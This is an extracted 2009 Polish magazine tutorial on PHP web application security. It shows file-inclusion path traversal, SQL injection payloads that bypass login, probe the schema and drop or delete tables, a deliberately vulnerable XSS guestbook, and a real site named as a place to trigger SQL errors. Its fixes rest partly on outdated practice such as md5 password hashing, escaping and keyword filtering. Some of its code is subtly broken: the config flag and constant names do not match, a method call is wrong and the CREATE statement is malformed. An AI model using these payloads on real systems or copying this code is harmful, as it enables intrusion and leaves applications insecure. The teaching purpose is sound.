2009 09 Bezpieczeństwo aplikacji webowych

background image

54

OBRONA

HAKIN9 9/2009

W

czasach kiedy można kupić dom,
nie ruszając się ze swojego pokoju,
wysłać list do cioci z drugiego

końca globu nie mając koperty czy obracać
milionami dolarów nigdy nie będąc fizycznie
w banku, należy zwrócić szczególną uwagę
na bezpieczeństwo aplikacji internetowych.
Aplikacji, od których niejednokrotnie
zależy więcej niż tylko dobra rozrywka czy
zaoszczędzenie czasu. Spróbuję przybliżyć
ten temat, pokazując kilka zagrożeń na jakie
możemy natrafić podczas pracy w internecie,
a także sposoby jak można się przed nimi
uchronić (lub choćby rozpoznać, że coś złego
się stało).

Najczęstsze błędy

Najczęstszym błędem popełnianym przez
programistów z całego świata jest brak
jakiejkolwiek walidacji danych wejściowych.
Twórca aplikacji webowej często zakłada,
że nikomu nie chce się włamywać na jego
stronę (często ma w tej kwestii rację, jednak
trochę wstyd, gdy komuś już się zachce i nie
natrafi na najmniejszy opór).

Wszystkie dane wejściowe powinny zostać

poddane walidacji po stronie serwera. Dla
wygody użytkownika część danych może
być także sprawdzana po stronie klienta
– np. za pomocą JS (co nie zwalnia nas z
obowiązku ponownego sprawdzenia tych
danych na serwerze). W dalszej części

PATRYK JAR

Z ARTYKUŁU

DOWIESZ SIĘ

jak korzystać z luk w kodzie

serwisów w celu dostania

się do jego chronionych

fragmentów,

jak programować, zachowując

podstawowe zasady

bezpieczeństwa,

jak obronić się przed

pokazanymi atakami.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy html,

znać podstawy PHP, MySQL,

mieć ogólne pojęcie o

konfiguracji serwera www

(Apache + PHP).

artykułu opiszę w jaki sposób najlepiej
walidować dane wejściowe. Należy pamiętać
– zawsze walidujemy. Nigdy nie ufamy bez
sprawdzenia.

Zasada minimalnego przywileju

Jeśli użytkownik ma za zadanie odczytać
dane z bazy, to opcja usuwania danych,
bądź tabel, jest mu zbędna. W ten
sposób, nawet jeśli aplikacja nie będzie
wystarczająco zabezpieczona w jednym
miejscu, być może uda się uniknąć dużych
strat w innym. Użytkownik powinien mieć
dokładnie tyle uprawnień, ile w danym
momencie jest niezbędne do wykonania
zleconego zadania. Każde uprawnienie
ponadto jest potencjalnym zagrożeniem. Aby
stworzyć nowego użytkownika bazy danych,
posiadającego tylko możliwość odczytywania
danych należy wykonać zapytanie pokazane
na Listingu 1. (oczywiście użytkownik, z konta
którego będzie wykonywane to zapytanie,
musi mieć uprawnienia do nadawania
uprawnień).

W miejscu SELECT można podać

po przecinku więcej opcji, np. INSERT,
DELETE itp. Jeśli chce się nadać wszystkie
uprawnienia nie trzeba ich listować, zamiast
tego wpisać tam po prostu ALL. *.* znaczy
wszystkie bazy danych i wszystkie tabele, do
których prawo ma użytkownik przekazujący
uprawnienia.

Stopień trudności

Bezpieczeństwo

aplikacji

webowych

Życie zwykłego człowieka coraz bardziej uzależnione jest od

globalnej sieci. Podobnie jak w realnym świecie, tak

w Internecie czyha na nas wiele niebezpieczeństw. Artykuł

pokazuje jak dokonać pewnych typów ataku, a także jak się

przed takimi atakami zabezpieczyć.

background image

55

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

HAKIN9

9/2009

Po stworzeniu takiego użytkownika,

wszędzie gdzie na stronie jedyną
przewidzianą funkcją jest odczyt z bazy
danych, korzystaj z user_name (nazwę
można podać dowolną, podobnie jak
hasło), a nie root (Listing 2).

Ustawienia serwera

i zwracane komunikaty

Mówiąc krótko, jeśli zostawiasz klucz
pod wycieraczką, to nie pisz kartki
mamo, klucz jest tam gdzie zawsze
– pod wycie*****ą
. Podobnie na stronie.
Wszystkie komunikaty błędów i ostrzeżeń
generowane przez serwer powinny zostać
ukryte (należy wykorzystać je w fazie
pracy nad stroną, ale wyłączać w aplikacji
finalnej – dostępnej szerszemu gronu).
Dodatkowo komunikaty zwracane przez
skrypty (nie będące błędami w działaniu
skryptu) powinny mówić potencjalnemu
napastnikowi niewiele. Jednocześnie
powinny być jasne dla zwykłego
użytkownika, np. Podane hasło lub login
jest nieprawidłowe. Spróbuj jeszcze raz.

- zamiast Podane przez ciebie hasło
'stefan' nie pasuje, ponieważ w bazie
danych o nazwie 'users' są pola a, b,c …
.

Istnieje prosty sposób na wyłączenie

wyświetlania komunikatów o błędach
wykonania skryptów oraz ostrzeżeń.

Stałe wyłączenie – plik php.ini

– należy zmienić wartość w linii (Listing
3). W tym wypadku, aby zmiana
konfiguracji zaczęła być widoczna
w działaniu serwera należy go
zrestartować.

Wyłączenie tylko dla jednego

skryptu (Listing 4).

Innym zagrożeniem związanym

z ustawieniami serwera jest (z
dziwnych przyczyn spotykane wśród
programistów PHP) nazywanie plików
konfiguracyjnych *.inc. Przez co można
je odczytać z poziomu przeglądarki, np.:
www.stona.pl/config.inc zwróci nam listę
haseł i stałych, które powinny być tajne.

Jest kilka rozwiązań. Nadawać

takim plikom rozszerzenie .php, które
wymusza parsowanie ich przez serwer
PHP (nawet jeśli zostaną wywołane to i
tak nie zobaczymy ich zawartości). Jeśli
jednak upierasz się przy .inc, to w pliku
httpd.conf należy dodać linię

`AddType

application/x-httpd-php .inc'

(Listing 5).

Konfiguracja – pliki httpd.conf

• Jeśli używasz serwera Apache na

Windows, to na pewno posiadasz
taki plik. W zależności od tego jakiego
dokładnie oprogramowania używasz
(WAMP, XAMMP, Krasnal, goły
Apache) plik ten może znajdować się
w różnych miejscach. Jeśli nie wiesz,

Listing 1.

Nadanie uprawnień nowemu użytkownikowi

GRANT

SELECT

ON

*

.

*

TO

user_name

IDENTIFIED

BY

'hasło'

;

Listing 2.

Unikanie korzystania z root

// tak wcześniej
// $db = new mysqli('localhost', 'root', 'haslo', 'baza_danych');

// A teraz tak:

$db = new mysqli('localhost', 'user_name', 'hasło', 'baza_danych');

Listing 3.

Wyłączenie informowania o błędach w PHP – konfiguracja serwera

# było: error_reporting = E_ALL

error_reporting = E_ALL ^ E_NOTICE

# było: display_errors = On

display_errors = Off

Listing 4.

Wyłączenie informowania o błędach w PHP – kod PHP

<?PHP

// tu bledy mogą być wyswietlone

ini_set

(

'display_errors'

,

'Off'

);

error_reporting

(

E_ALL

^

E_NOTICE

);

// tu już ani błędy, ani ostrzeżenia nie będą się pojawiać

?>

Listing 5.

Zmiana konfiguracji – pliki .inc traktowane jako skrypty

<

IfModule

mime_module

>

AddType

application

/

x

-

compress

.

Z

AddType

application

/

x

-

gzip

.

gz

.

tgz

AddType

application

/

x

-

httpd

-

php

.

php

AddType

application

/

x

-

httpd

-

php

.

inc

</

IfModule

>

Rysunek 1.

Umiejscowienie

DocumentRoot w drzewie katalogów

Zabezpieczeń nigdy dosyć

Oczywiście – drzwi należy wzmacniać do momentu, kiedy przebicie ściany staje się łatwiejsze.
Jednak należy być świadomym tego, że nawet jeśli na chwilę obecną nie są znane sposoby na
udany atak, to nie powinno to usypiać naszej czujności.

Jeśli posiadasz system uwierzytelniania użytkowników i przechowujesz hasła w bazie

danych, to nie należy trzymać ich w postaci czystego tekstu. Należy używać jednostronnych
funkcji szyfrujących, takich jak md5() – PHP – czy password() – MySQL.

background image

OBRONA

56

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

57

HAKIN9

9/2009

gdzie znajduje się na twoim serwerze
należy skorzystać z wyszukiwania
plików. Jeśli posiadasz jakikolwiek plik

httpd.conf, (jeśli twój apache działa
to prawie pewne, że posiadasz) to
powinien zostać znaleziony.

• Umieszczanie takich plików ponad

drzewem katalogów dostępnym z
poziomu przeglądarki.

Wpisując w przeglądarce http://
strona.pl
wczytywany jest plik index.htm.
Plik ten znajduje się w katalogu
wskazanym jako DocumentRoot, w pliku
httpd.conf. Załóżmy, że DocumentRoot
to katalog public_html (co można
zobaczyć na Rysunku 1).

Skoro do plików w katalogu

public_html odwołujemy się przez http:
//strona.pl
to do plików znajdujących
się w katalogu nadrzędnym – home
(patrz Rysunek 1) – musielibyśmy
wykonać coś w stylu http://../strona.pl,
co jest oczywiście niepoprawne
– przeglądarka pokaże nam komunikat
niewłaściwego adresu WWW. Z
poziomu PHP jednak możemy załączyć
dowolny plik z dysku serwera (pod
warunkiem, że mamy prawa odczytu
tego pliku).

Zakładając, że katalog public_html

jest ustawiony jako główny katalog
serwera WWW (DocumentRoot),
umieszczaj ważne pliki konfiguracyjne
w katalogach nadrzędnych, tak aby
nie można było się do nich odwołać
z poziomu przeglądarki. Pamiętaj
– najczęściej PHP będzie mógł je
zwyczajnie załączyć.

• Ustawianie flagi przed załączeniem

takiego pliku oraz sprawdzenie, już
w pliku konfiguracyjnym, czy flaga ta
jest ustawiona –Listingi 6 i 7.

Nigdy nie trzymaj także hasła (nawet
zakodowanego) po stronie klienta
– np. w ciasteczku. Nawet zakodowane
hasło może być złamane (algorytmy
szyfrujące nie są idealne, a nawet
jakby były zawsze pozostaje metoda
brutal force – generowanie wszystkich
możliwych kombinacji znaków i
porównywanie z posiadanym ciągiem)
– szczególnie, jeśli nie została
wprowadzona odpowiednia polityka
na długość i poziomu skomplikowania
hasła.

Nawet jeśli nie wiemy, jakim cudem

napastnik miałby dojść do któregoś
miejsca kodu lub jesteś pewien, że

Listing 6.

Ustawianie flagi umożliwiającej załączenie konfiguracji

<?PHP

// home/public_html/index.php

$INCLUDE_CONFIG

=

true

;

include_once

(

'../config.php'

);

?>

Listing 7.

Załączenie konfiguracji z wykorzystaniem flagi

<?PHP

//Skrypt home/config.php:

if

(

!

isset

(

$INCLUDE_CONFIG

)

||

$INCLUDE_CONFIG

!==

true

)

{

die

(

'Błąd konfiguracji. Skontaktuj się z admin@strona.pl'

);

}

// tu ważna konfiguracja – hasła do BD itp.

?>

Listing 8.

Prosty szablon strony

<html>
<body>

<h1>

Tytuł

</h1>

<p>

Treść

</p>

</body>
</html>

Listing 9.

Includowanie plików – na sztywo

<html>
<body>

<?PHP
include('plik.php');
?>

</body>
</html>

Listing 10.

Includowanie plików wg przesłanego parametru

<?PHP

if

(

isset

(

$_GET

[

'file'

]))

{

$file

=

strval

(

$_GET

[

'file'

]);

}

else

{

$file

=

'index.htm'

;

}

include

(

$file

);

?>

REQUIRE vs. INCLUDE

W kodzie z Listingów 6 i 7 wykorzystana jest funkcja include _ once. Często zaleca się

wykorzystywanie require / require _ once do załączania plików. Różnica między

require a include polega na tym, że w przypadku braku pliku wskazanego jako

parametr require zakończy działanie skryptu, a include jedynie wygeneruje komunikat.

Funkcje include _ once / require _ once różnią się od include / require tym,

że nim załączą plik sprawdzają, czy już wcześniej nie był załączony. Jest to bardzo przydatna
opcja, polecam używać * _ once.

background image

OBRONA

56

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

57

HAKIN9

9/2009

dane zewnętrzne dla skryptu (czy
to podane przez użytkownika, czy
to odczytane z bazy danych – jeśli
wcześniej wprowadzał je użytkownik
lub mógł zmodyfikować) są poprawne,
zawsze należy je sprawdzić, tak jakby to
była pierwsza linia frontu.

Wartym zapamiętania jest też

fakt, że najsłabszym punktem dobrze
zabezpieczonego systemu są ludzie.
Znany hacker – Kevin Mitnick – dużą
część swoich sukcesów na tym polu
zawdzięczał naiwności ludzi, którzy
podawali mu hasła dostępu lub
opowiadali, jak dany system działa. Jeśli
tworzymy system, w którym czynnik
ludzki odgrywa znaczącą rolę, warto
zastanowić się nad wprowadzeniem
odpowiednich procedur i przeszkolenie
pracowników. Troję zdobyto, bo nikt tego
nie ustalił.

Ataki

Na potrzeby tego artykułu
zaprezentujemy uproszczone kody – dla
czytelności – zarówno HTML, jak i PHP.
Nie znaczy to, że nie możemy zamiast
takiego kodu stworzyć odpowiedniej
klasy. Jestem zdania, że klasa często
może być rozwiązaniem lepszym
– dużo łatwiej zastosować ją w innym
projekcie.

Załączanie plików

Często, aby zaoszczędzić sobie pracy
twórcy stron www wykorzystują tzn.
includowanie plików. Polega to na tym,
że mamy szablon strony pokazany na
Listingu 8.

Jak widać już na tak prostym

przykładzie zmienia się jedynie pewna
część kodu strony. Dlaczego więc nie
spróbować tego wykorzystać i wklejać
jedynie fragmentu kodu, na przykład z
osobnego pliku.

Takie rozwiązanie nadal jednak

zmusza nas do tworzenia wielu
takich szablonów. A szablon ma to
do siebie, że powinien pozwalać

na pewną elastyczność. Spróbujmy
zatem przesłać dane w adresie i
wczytać odpowiedni plik. Tak wygląda
odsyłacz do tej strony: www.strona.pl/
index.php?file=start.php

Kod PHP (wstawiony w miejsce kodu

PHP z Listingu 9) prezentuje Listing 10.

Jak widać, teraz możemy w

nieskończoność tworzyć kolejne
podstrony. Czy to nie wygląda

Listing 11.

Includowanie plików wg przesłanego parametru – zabezpieczenie 1

<?PHP

if

(

isset

(

$_GET

[

'file'

]))

{

$file

=

strval

(

$_GET

[

'file'

]);

}

else

{

$file

=

'index.htm'

;

}

$full_path

=

'dozwolone_pliki/'

.

$file

.

'.htm'

;

// sprawdź czy istnieje taki plik

if

(

file_exists

(

$full_path

))

{

include

(

$full_path

);

// wczytaj jeśli istnieje

}

else

{

include

(

'dozwolone_pliki/blad404.htm'

);

// wyświetl błąd

}

?>

Listing 12.

Includowanie plików wg przesłanego parametru – zabezpieczenie 2

<?PHP
@

$file

=

strval

(

$_GET

[

'file'

]);

switch

(

$file

)

{

case

'start'

:

include

(

'strona_startowa.htm'

);

break

;

case

'kontakt'

:

include

(

'kontakt.php'

);

break

;

/* inne pliki */

default

:

include

(

'blad404.htm'

);

break

;

}

?>

Rysunek 2.

Drzewo katalogów z tajnym

plikiem

Funkcja skrótu, jednokierunkowa

funkcja mieszająca lub funkcja haszująca

Jednostronne funkcje mieszające kodują podany ciąg znaków na szyfr określonej
długości. W teorii szyfr ten powinien być nie do odkodowania (w praktyce bywa różnie, ale
nawet jeśli nie jest to zabezpieczenie idealne, zawsze lepsze takie niż żadne). Przykładowo
ciąg ABC zostanie zakodowany na fdeh_$fd. I jako taki zapisany do bazy danych. Jeśli
ktoś wykradnie nam informacje o hasłach, to nadal nie będzie mógł się zalogować.
Podczas logowania użytkownik będzie nadal musiał podać ABC, które znowu wg tego
samego algorytmu zakoduje się do fdeh _ $fd . Następnie odczyta się z bazy danych

ciąg wcześniej zakodowany i porówna. Jeśli będą sobie równe, to znaczy, że ciąg podany
podczas rejestracji jak i ten podany przy logowaniu są identyczne, czyli ktoś podał
prawidłowe hasło.

Operator

kontroli błędów

Znak @ jest w PHP operatorem kontroli
błędów. Powoduje on, że błędy jakie mogą
wystąpić w linii, w której się go wstawi nie
będą wyświetlana na stronie.

background image

OBRONA

58

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

59

HAKIN9

9/2009

obiecująco? Ale chwilę. Co jeśli
ktoś będzie chciał nam zrobić jakiś

psikus i poda taki link: www.strona.pl/
index.php?file=../pamietnik.txt

zakładając, że drzewo katalogów
wygląda sposób pokazany na
Rysunku 2.

Hacker otrzyma informacje o

twoim życiu osobistym. Zamiast
pliku pamietnik.txt mógłby to być
plik z hasłami, raport z działalności
firmy itp. Skoro nie miałeś ochoty
się tym pochwalić na stronie, to
prawdopodobnie nie chcesz, aby ktoś
to czytał.

Jak się zabezpieczyć?

Metod jest kilka:

• nie przesyłamy całej ścieżki do pliku,

a tylko jego nazwę. Wszystkie pliki,
które chcemy includować trzymamy
w jednym miejscu na serwerze
– Listing 11.

Nadal jednak istnieje ryzyko, że w
zmiennej

$ _ GET

zostanie podana

wartość: ../../inny_plik, co sprawi, że
cała ścieżka będzie wyglądać tak:
dozwolone_pliki/../../inny_plik.htm, co jest
równoważne ../inny_plik.htm

Nazwa rozszerzenia pozwala

uniknąć problemu z możliwością
odczytania dowolnego pliku. Jednak
nadal wszystkie pliki *.htm są w zasięgu
napastnika (np. nieszczęsny raport
finansowy za 3 kwartał). Spróbujmy
zatem zabezpieczyć to jeszcze bardziej
i użyjmy instrukcji warunkowej switch
– Listing 12.

Co prawda ta metoda powoduje,

że tracimy sporo na elastyczności
– każda nowo dodana podstrona
wymaga zmian w kodzie tego skryptu,
a nie jedynie załadowaniu pliku. Jednak
ryzyko udanego ataku zostaje znacznie
ograniczone.

Listing 13.

Kod strony index.htm

<html><body>

<form

action=

'login.php'

method=

'post'

>

<input

type=

'text'

name=

'login'

/>

<input

type=

'password'

name=

'pass'

/>

<input

type=

'submit'

value=

'loguj'

/>

</form>

</body></html>

Listing 14.

Kod skryptu login.php

<?PHP

ini_set

(

'display_errors'

,

'On'

);

// 1

error_reporting

(

E_ALL

);

include_once

(

'config.php'

);

// 2

function

debug

(

$str

)

{

// 3

echo

'<pre>'

;

print_r

(

$str

);

echo

'</pre>'

;

}

$mysqli

=

new

mysqli

(

DBHOST

,

DBUSER

,

DBPASS

,

DBNAME

);

if

(

!

$mysqli

)

{

die

(

'Nie udało się nawiązać połączenia z bazą danych.'

);

}

$query

=

"SELECT login FROM users WHERE login = '{

$_POST

[

'login'

]

}' AND pass =

'{

$_POST

[

'pass'

]

}'"

;

// 4

echo

(

$query

);

// 5

$res

=

$mysqli

->

query

(

$query

);

if

(

!

$res

)

{

echo

'coś jest nie tak'

;

echo

mysql_error

();

// 6

}

debug

(

$res

);

// 7

if

(

$res

->

num_rows

(

$res

)

>

0

)

{

echo

'masz dostęp do ważnych danych'

;

}

else

{

echo

'nie masz dostępu'

;

}

?>

Listing 15.

Wynikowy ciąg dla danych login = login, password = pass

SELECT

1

FROM

users

WHERE

login

=

'login'

AND

password

=

'pass'

;

Wspólny documentRoot

dla dwóch systemów operacyjnych

Dla dociekliwych: http://webmade.org/porady/documentroot-linux-windows.php
wspólny documentRoot dla kilku serwerów pracujących na różnych systemach

operacyjnych

Rysunek 3.

Struktura katalogów

potrzebna do ataków XSS

background image

OBRONA

58

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

59

HAKIN9

9/2009

SQL Injection

(ang. dosłownie zastrzyk SQL)
– luka w zabezpieczeniach aplikacji
internetowych polegająca na
nieodpowiednim filtrowaniu lub
niedostatecznym typowaniu i
późniejszym wykonaniu danych
przesyłanych w postaci zapytań SQL do
bazy danych.

Skala problemu

Według raportu X-Force 2008 Trend
Statistics
, przygotowanego przez IBM
Internet Security Systems, rok 2008
może być uważany za rok ataków SQL-
injection (55% wszystkich ujawnionych
luk dotyczy aplikacji webowych).

Logowanie bez hasła – na potrzeby

tego artykułu przygotujmy sobie dwa
pliki: index.htm (kod z Listingu 13).

Po wysłaniu formularza dane

zostają przetworzone przez skrypt
login.php (Listing 14). Opis:

1. Bardzo przydatne włączenie

wyświetlania błędów. Niezwykle
pomocne podczas pisania kodu,
ale absolutnie zabronione w
wersji udostępnionej w Internecie!
Koniecznie należy wyłączyć
wyświetlanie błędów.

2. Załączenie stałych konfiguracyjnych.

Warto zawsze trzymać je w
osobnych plikach. Dzięki temu
przy zmianie użytkownika bd nie
będziesz musiał zmieniać 100 linii
w 94 plikach. Wytarczy edycja w
jednym miejscu.

3. Bardzo przydatna funkcja podczas

pisania i testowania kodu. Jednak
w wersji finalnej nie możemy sobie
pozwolić na takie dodatki.

4. Kolejny błąd – nie sprawdzamy

totalnie danych wprowadzonych
przez internautę. To aż woła o atak!

5. Jak pkt 1 i 3. Tak dla testów – nie w

wersji finalnej.

6. Jak wyżej. Informacje o typie błędu

są potrzebne programiście – nie
internaucie. On powinien zostać
poinformowany, że coś nie poszło
jak trzeba i poproszony o ponowną
próbę.

7. Jak 1, 3 i 5. Dobry sposób na

testowanie skryptu. Niewybaczalne

Listing 16.

Wynikowy ciąg dla danych login = yarpo" #, password = cokolwiek

SELECT

1

FROM

users

WHERE

login

=

"yarpo"

#

" AND pass = "

"

;

Listing 17.

Wynikowy ciąg dla danych login = yarpo, password = a" or 1 = 1; #

SELECT

1

FROM

users

WHERE

login

=

"yarpo"

AND

pass

=

"a"

or

1

=

1

;

#"

Listing 18.

Wynikowy ciąg dla danych login = ';, password = cokolwiek

SELECT

1

FROM

users

WHERE

login

=

''

;

' AND pass = '

cokolwiek

'

Listing 19.

Błąd zwrócony przez bazę danych MySQL

You

have

an

error

in

your

SQL

syntax

;

check

the

manual

that

corresponds

to

your

MySQL

server

version

for

the

right

syntax

to

use

near

''

;

'

AND pass = '

cokolwiek

'

at

line

1

Listing 20.

Błąd zwrócony przez bazę danych MySQL

Unknown

column

'login2'

in

'order clause'

.

Listing 21.

Błąd zwrócony przez bazę danych MySQL

Unknown

column

'nazwa_tabeli .login'

in

'order clause'

To naprawdę ma miejsce!

Ktoś mógłby odnieść wrażenie czytając ten artykuł, że to niemożliwe, aby popełniać takie błędy
i wyświetlać tyle informacji. Zapraszam na stronę wroclaw.pl – w wyszukiwarce starczy wpisać '
co pozwoli nam podejrzeć zapytanie.

Rysunek 4.

Zalogowany użytkownik

Wbudowane zabezpieczenia PHP

Wygląda na to, że PHP posiada zabezpieczenia przed tego typu atakami. Zarówno testy
wykorzystujące funkcję mysql_query(), jak i obiekt mysqli (metoda mysqli::query()) nie pozwalają
na wykonanie więcej niż jednego zapytania na raz.

background image

OBRONA

60

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

61

HAKIN9

9/2009

zaniedbanie w wersji publicznie
udostępnionej.

Kod pokazany na Listingu 14. wydaje
się ogólnie dobry – w sensie przecież
działa
. Owszem, działa – i to jak!
Zobacz co by się stało, gdyby w
formularzu wpisywać takie ciągi
znaków:

W zmiennej

$query

znajduje się

ciąg jak na Listingu 15. Przesłane dane:

login = login
password = pass

Załóżmy, że ktoś chciałby się
zalogować, ale nie znałby hasła. Nic
straconego: Starczy przesłać dane:

login = yarpo" #
password = cokolwiek

Znak # powoduje, że reszta linii
zostanie uznana przez serwer MySQL
za komentarz.

W takim wypadku otrzymujemy

taki ciąg, jako zapytanie widoczne na
LISTINGu 16.

I oto jesteśmy zalogowani jako

użytkownik o nazwie yarpo. Inne
możliwości – Listing 17.
Przesłane dane:

login = yarpo
password = cokolwiek" or 1=1; #

W ten sposób także udało się nam
zalogować bez znajomości hasła.

Pobieranie informacji

o strukturze bazy danych

Każdy intruz będzie chciał zdobyć jak
najwięcej informacji odnośnie struktury
naszej bazy. Aby to zrobić może
próbować preparować odpowiednio
zapytania i oczekiwać na błędy
zwracane przez serwer.

Jeśli do tak przygotowanego kodu

podamy dane:

login: ';
pass: cokolwiek

otrzymamy w wyniku ciąg znaków
widoczny na Listingu 18.

Jako, że zapytanie z Listingu 18. nie

jest prawidłowe, zostanie zwrócony błąd
– Listing 19.

W ten sposób potencjalny napastnik

dowiedział się nazwy jednej kolumny
(pass). Dodatkowo wie, że używamy
systemy zarządzania bazą danych
MySQL. Dowiedzmy się czegoś więcej:

login: ' or 1=1 order by login2; #
pass: cokolwiek

Otrzymujemy komunikat błędu widoczny
na Listingu 20.

Czyli już wiemy, że nie ma w tej

tabeli takiej kolumny. Jednak próbując
dalej dowiemy się, że istnieje kolumna

Listing 22.

Zabezpieczony kod z Listingu 14

<?php

ini_set

(

'display_errors'

,

'Off'

);

// 1

error_reporting

(

E_ALL

^

E_NOTICE

);

$CONFIG_INCLUDE

=

true

;

include_once

(

'../config.php'

);

// 2

$mysqli

=

new

mysqli

(

DBHOST

,

DBUSER

,

DBPASS

,

DBNAME

);

if

(

!

$mysqli

)

{

die

(

'Nie udało się nawiązać połączenia z bazą danych.'

);

}

$login

=

mysql_escape_string

(

$_POST

[

'login'

]);

// 3

$pass

=

mysql_escape_string

(

$_POST

[

'pass'

]);

$format

=

'SELECT login FROM users WHERE login = "%s" AND pass = "%s"'

;

// 4

$query

=

sprintf

(

$format

,

$login

,

$pass

);

$res

=

$mysqli

->

query

(

$query

);

if

(

!

$res

)

{

die

(

'Niepoprawne zapytanie'

);

}

if

(

$res

->

num_rows

(

$res

)

>

0

)

{

echo

'masz dostęp do ważnych danych'

;

}

else

{

echo

'nie masz dostępu'

;

}

$res

->

close

();

// 5

$mysqli

->

close

();

?>

Listing 23.

Plik konfiguracyjny z zabezpieczeniem

<?PHP

if

(

$CONFIG_INCLUDE

!==

true

)

die

(

"Błąd krytyczny konfiguracji. Skontaktuj się z administratorem."

);

define

(

'DB_HOST'

,

'localhost'

);

define

(

'DB_NAME'

,

'test'

);

define

(

'DB_USER'

,

'user'

);

// jakis użytkownik z minimalnymi uprawnieniami

define

(

'DB_PASS'

,

'pass'

);

?>

Listing 24.

Tworzenie tabeli users

create

users

(

login

char

(

20

)

primary

key

,

pass

char

(

42

)

not

null

);

background image

OBRONA

60

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

61

HAKIN9

9/2009

login (jeśli będziemy modyfikować to
zapytanie zmieniając nazwę kolumny w
klauzuli order by).

Skoro już wiemy, że istnieje

kolumna login, to możemy spróbować
dowiedzieć się jak nazywa się tabela:

login: ' or 1=1 order by nazwa_

tabeli.login; #

Jeśli nie pojawi się komunikat błędu
podobny do tego z Listingu 21. to
znaczy, że poznaliśmy już nazwę tabeli.

Modyfikowanie bazy danych

W języku SQL kolejne zapytania oddziela
się znakiem średnika. Jeśli ktoś poda
jako dane wejściowe:

login: a'; delete from users; #

to właśnie wyczyścił całą tabelę users
(nazwę tabeli uzyskał sposobem
pokazanym wyżej).

Mógłby także usunąć tą tabelę – lub

nawet całą bazę danych.

login: a'; drop table users; #
login: a': drop database test; #

Lub mniej szkodliwe – dodał sobie
nowego użytkownika:

login: a'; insert into('hacker',

'pass');

Zabezpieczenia przed SQL Injection:

• Walidacja danych wejściowych.

Przydatne mogą być funkcje

mysql _ escape _ string(),
addslashes()

• Rzutowanie typów zmiennych.

Jeśli w zamierzeniu programisty
jakaś zmienna ma mieć wartość
całkowitą używamy (dla PHP):

intval(), floatval()

dla

zmiennoprzecinkowych itd.

• Używanie więcej niż jednego

użytkownika z różnymi uprawnieniami
w zależności od zadań jakie
mają być wykonane. Nie używać
domyślnie root do wszystkiego.

• Sprawdzanie czy w ciągu występują

niepożądane wyrażania (typu

UNION,

DELETE, DROP, INSERT

). Przydatna

może być funkcja

preg _ match()

.

Zabezpieczony kod z Listingu 14. można
przeanalizować na Listingu 22.
Opis:

• Wyłączamy wyświetlanie błędów.
• Załączenie pliku z konfiguracją.

Umieszczamy go ponad drzewem
katalogów. Ustawiamy flagę,
nazywamy go z rozszerzeniem
PHP.

Listing 25.

Kod strony hacking9/xss/index.php

<?PHP

ini_set

(

'display_errors'

,

'Off'

);

error_reporting

(

E_ALL

^

E_NOTICE

);

session_start

();

?>
<html><body>
<?PHP

include_once

(

'cLogin.php'

);

$login

=

new

cLogin

();

if

(

$login

->

is_logged

()

||

(

isset

(

$_POST

[

'login'

])

&&

$login

->

log_in

(

$_POST

[

'login'

],

$_POST

[

'pass'

])))

{

?>

<h1>

Zalogowany <?PHP echo $login->get_user_name(); ?>

</h1>

<?PHP
} else {
?>

<h1>

Zaloguj

</h1>

<form

action=

'index.php'

method=

'post'

>

<input

type=

'text'

name=

'login'

><input

type=

'password'

name=

'pass'

>

<input

type=

'submit'

value=

'Zaloguj'

>

</form>

<?PHP
}
?>

<h2>

Guestbook

</h2>

<form

action=

'index.php'

method=

'post'

>

<textarea

name=

'text'

cols=

'100'

rows=

'10'

>

Dopisz się!

</textarea><br

/>

<input

type=

'submit'

value=

'zapisz'

/>

</form>

<?PHP

include_once

(

'guestbook.php'

);

?>
</body></html>

Listing 26.

Kod skryptu hacking9/xss/guestbook.php

<?PHP

function

save

(

$input

)

{

$f

=

fopen

(

'inputs.txt'

,

'a+'

);

fwrite

(

$f

,

$input

.

'<hr />'

);

fclose

(

$f

);

}

function

read

()

{

$f

=

fopen

(

'inputs.txt'

,

'r+'

);

$text

=

fread

(

$f

,

filesize

(

'inputs.txt'

));

fclose

(

$f

);

echo

$text

;

}

if

(

isset

(

$_POST

[

'text'

]))

save

(

$_POST

[

'text'

]);

// jeśli dodano nowy wpis - zapisz

read

();

// odczytaj wszystko

?>

background image

OBRONA

62

HAKIN9 9/2009

BEZPIECZEŃSTWO APLIKACJI WEBOWYCH

63

HAKIN9

9/2009

• Za pomocą funkcji

mysql _

escape _ string()

stawiamy

kolejną zaporę dla napastnika.
Funkcja ta powoduje wstawienie
znaków ucieczki w ciąg, np. to jest
mój 'napis
' zostanie zmieniony na
to jest mój \'napis\'. Dzięki temu
cudzysłowy i apostrofy tracą swoją
niszczycielską moc.

• To być może nie wpływa na

bezpieczeństwo, ale sądzę,
że całkiem nieźle poprawia
czytelność, może mieć też wpływ
na wydajność.

• Sprzątamy po skrypcie. Poprzednio

tego nie było także (znowu – nie
zwiększa to bezpieczeństwa, ale
wygląda ładniej i jest zrobione
właściwie).

Plik home/config.php można zobaczyć
na Listingu 23.

Kod SQL tworzący tabele users

można zobaczyć na Listingu 24.

Zabezpieczenia tu wykorzystane

powodują, że kod jest dużo bardziej
odporny na ataki, a już na pewno nie
ułatwia zadania intruzowi.

Cross-Site Scripting

Sposób ataku na serwis WWW
polegający na osadzeniu w treści
atakowanej strony kodu (zazwyczaj
JavaScript), który wyświetlony innym
użytkownikom może doprowadzić do
wykonania przez nich niepożądanych
akcji. Skrypt umieszczony w
zaatakowanej stronie może obejść
niektóre mechanizmy kontroli dostępu
do danych użytkownika.

Persistant XSS

Prezentacja tego przykładu będzie
wymagać kilku zabiegów. Jeśli chcesz
spróbować wykonać ten atak także u
siebie w domu, przejdź do katalogu
głównego twojego serwera WWW
(documentRoot) i utwórz w nim
katalog hackin9/xss. Będziemy w nim
umieszczać wszystkie pliki związane z
tym atakiem. Załóżmy, że mamy prostą
stronę hackin9/xss/index.php taką jak na
Listingu 25.

Oraz prosty skrypt hackin9/xss/

guestbook.php widoczny na Listingu 26.

Listing 27.

Kod klasy hacking9/xss/cLogin.php

<?PHP

$CONFIG_INCLUDE

=

true

;

include_once

(

'../config.php'

);

